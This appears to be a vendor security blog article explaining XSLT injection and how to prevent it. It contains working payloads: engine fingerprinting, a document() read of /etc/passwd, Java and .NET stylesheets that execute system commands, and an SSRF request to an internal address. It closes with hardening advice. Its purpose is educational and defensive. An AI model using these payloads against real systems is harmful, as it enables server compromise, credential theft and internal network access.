What is XSLT Injection? Ways to Exploit, Examples and Impact
Discover how XSLT injection works, explore real-world exploit examples like RCE and SSRF, and learn how to secure your infrastructure. Read more on Jsmon.
Extensible Stylesheet Language Transformations (XSLT) is a powerful language used by developers to transform XML documents into different formats such as HTML, plain text, or even other XML structures. While it is an essential tool for data processing and presentation in modern web applications, it often flies under the radar of security assessments. XSLT injection occurs when an application processes untrusted user input within an XSLT stylesheet, allowing an attacker to manipulate the transformation process. This can lead to devastating consequences, including sensitive data exposure, Server-Side Request Forgery (SSRF), and full Remote Code Execution (RCE).
What is XSLT and How Does it Work?
Before diving into the exploitation, it is crucial to understand the technology. XSLT is part of the XML family. It acts as a template engine for XML data. Imagine you have a raw XML file containing a list of products. To display this on a website, you use an XSLT stylesheet to define how that XML should be rendered into an HTML table.
The transformation process involves three main components:
- The XML Document: The raw data source.
- The XSLT Stylesheet: The logic and templates defining the transformation.
- The XSLT Processor: The engine (like Libxslt, Saxon, or Xalan) that executes the stylesheet against the XML data.
A simple XSLT stylesheet looks like this:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h1>Product List</h1>
<xsl:value-of select="products/item/name"/>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
The vulnerability arises when an application allows a user to influence either the XML data being processed or, more dangerously, the XSLT stylesheet itself. If an attacker can inject their own XSLT elements, they can force the processor to perform unintended actions.
Identifying XSLT Injection Vulnerabilities
Detection usually begins with identifying where an application handles XML. If you see parameters that appear to influence the layout of a page rendered from XML, or if the application allows you to upload .xsl or .xml files, XSLT injection might be possible.
One of the most effective ways to confirm the presence of an XSLT processor and identify its version is by using the system-property() function. By injecting the following snippet into a field that is rendered via XSLT, you can extract the engine details:
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
If the application returns "Libxml" or "Apache Software Foundation", you have confirmed the backend processor and can tailor your payloads accordingly.
Common XSLT Injection Attack Vectors
1. Information Leakage and Local File Read
The most common use case for XSLT injection is reading local files from the server. This is typically achieved using the document() function. This function is designed to allow the processor to load and include data from external XML documents, but it can often be abused to read any file the web server has permissions to access.
For example, to read the /etc/passwd file on a Linux server, an attacker might inject:
<xsl:variable name="file" select="document('/etc/passwd')" />
<xsl:copy-of select="$file" />
If the file is not valid XML, the processor might throw an error, but in many configurations, it will still leak portions of the file or provide clues about the file system structure.
2. Achieving Remote Code Execution (RCE)
Remote Code Execution is the "holy grail" of XSLT injection. Many XSLT processors support "extension functions" that allow the stylesheet to call external code, such as Java, .NET, or PHP functions. If these extensions are enabled, an attacker can execute arbitrary commands on the underlying operating system.
Java-based Processors (e.g., Xalan, Saxon)
In Java environments, you can often instantiate Java objects and call their methods directly. The following payload attempts to execute the id command:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="runtime" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($runtime, 'id')"/>
<xsl:value-of select="$process"/>
</xsl:template>
</xsl:stylesheet>
.NET-based Processors
For applications using the .NET XslCompiledTransform class, attackers can use the msxsl:script element to embed C# or VB.NET code directly into the stylesheet:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://example.com/user">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string Execute() {
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.Start();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:Execute()"/>
</xsl:template>
</xsl:stylesheet>
3. Server-Side Request Forgery (SSRF)
Even if RCE is not possible, the document() function can be used to make the server perform network requests. This allows an attacker to scan the internal network, access internal metadata services (like AWS metadata at 169.254.169.254), or interact with internal APIs that are not exposed to the internet.
An SSRF payload might look like this:
<xsl:variable name="internal" select="document('http://192.168.1.1/admin/config.xml')" />
<xsl:copy-of select="$internal" />
The Impact of XSLT Injection
The impact of a successful XSLT injection attack is usually critical. Because XSLT processors often run with the same privileges as the web server, an attacker who achieves RCE can gain a foothold in the internal network, steal sensitive database credentials, or deface the website.
Even without RCE, the ability to read local files (like web.config, settings.py, or .env files) can provide the keys necessary to compromise the entire application stack. Furthermore, SSRF via XSLT can be used to bypass firewalls and reach services that the developer assumed were safe behind the perimeter.
How to Prevent XSLT Injection
Preventing XSLT injection requires a defense-in-depth approach. Here are the most effective strategies for developers and security engineers:
1. Avoid User-Controlled Stylesheets
The most secure way to handle XSLT is to never allow users to provide their own stylesheets. Keep your .xsl files on the server and ensure they are read-only. If you must allow users to upload XML data, ensure that the stylesheet used to process it is static and securely stored.
2. Disable Dangerous Processor Features
Most modern XSLT processors have security settings to disable the most dangerous features. For example, in Java's TransformerFactory, you should enable the FEATURE_SECURE_PROCESSING attribute. This typically limits the number of entity expansions and prevents the use of extension functions.
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
In .NET, ensure that the XsltSettings object has EnableDocumentFunction and EnableScript set to false (which is the default in newer versions).
3. Sanitize User Input
If user input must be included within an XML document that will be transformed, ensure it is properly escaped. However, sanitization is notoriously difficult for XML because of the complexity of the specification. Using a robust XML library that handles encoding automatically is preferred over manual regex-based filtering.
4. Implement a Strong Content Security Policy (CSP)
While CSP won't stop the server-side injection, it can help mitigate the impact of an attacker trying to use XSLT to inject malicious scripts into the rendered HTML (a form of XSS via XSLT).
Conclusion
XSLT injection is a sophisticated vulnerability that highlights the dangers of processing complex data formats without strict security controls. While it may not be as common as SQL injection, its ability to facilitate RCE and SSRF makes it a high-priority concern for any application dealing with XML transformations. By disabling extension functions, restricting the document() function, and treating all user input as untrusted, developers can significantly reduce their attack surface.
To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.